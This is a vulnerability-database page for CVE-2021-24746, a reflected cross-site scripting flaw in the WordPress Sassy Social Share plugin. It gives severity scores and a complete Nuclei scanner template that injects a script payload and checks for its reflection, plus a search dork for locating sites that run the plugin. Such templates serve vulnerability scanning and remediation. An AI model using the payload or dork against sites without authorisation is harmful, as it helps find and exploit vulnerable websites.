Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-24746
HistoryApr 02, 2022 - 10:45 a.m.

WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting

2022-04-0210:45:26
ProjectDiscovery
github.com
3

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

43.5%

WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.

id: CVE-2021-24746

info:
  name: WordPress Sassy Social Share Plugin <3.3.40 - Cross-Site Scripting
  author: Supras
  severity: medium
  description: WordPress plugin Sassy Social Share < 3.3.40 contains a reflected cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Sassy Social Share Plugin to version 3.3.40 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24746
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24746
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:heateor:sassy_social_share:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: heateor
    product: sassy_social_share
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/sassy-social-share"
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan,heateor

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts"
      - "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: slug
        group: 1
        regex:
          - '"slug":"([_a-z-A-Z0-9]+)",'
        internal: true
        part: body
# digest: 490a00463044022075953a948bbf07dfe438a4053199d14ef8837ea7498130e197c58060bf0f8a320220385d5b4121d992c9c2ae5d7c7e7e4b0176c57ec274c25d34e1083a6f2b7f910e:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

43.5%